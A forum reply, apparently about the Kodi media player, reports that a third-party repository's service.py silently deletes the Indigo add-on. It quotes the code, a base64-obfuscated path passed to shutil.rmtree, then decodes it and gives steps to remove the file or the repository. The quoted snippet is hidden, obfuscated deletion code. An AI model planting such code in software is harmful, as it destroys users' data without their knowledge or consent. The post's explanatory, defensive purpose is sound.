Yes, they are one of the ones breaking your system.
They have a file called service.py in their repository thats only function is to remove Indigo.
They have the Indigo file path encoded with base64 to try to hide what they are doing.
Its very simple to decode base64, so I dont know why they think they are actually hiding anything. LOL
from their file service.py:
derka = 'Xc3BlY2lhbDovL2hvbWUvYWRkb25zL3BsdWdpbi5wcm9ncmFtLmluZGlnbw=='[1:].decode('base64')
derk = xbmc.translatePath((derka)).decode('utf-8')
shutil.rmtree(derk, ignore_errors=True)
Where the encoded line (derka) is: special://home/addons/plugin.program.indigo
then the line shutil.rmtree is the command that actually removes indigo
What you can do to stop them is to go to kodi/addons/repository.thecrew and just delete the service.py file thats in the folder.
You could also open the file (service.py) in any file editor, and just delete the line: shutil.rmtree(derk, ignore_errors=True)
The first two can be redone by them with an update to their repo,
The best way is to just disable and uninstall their repo and any and all addons they have.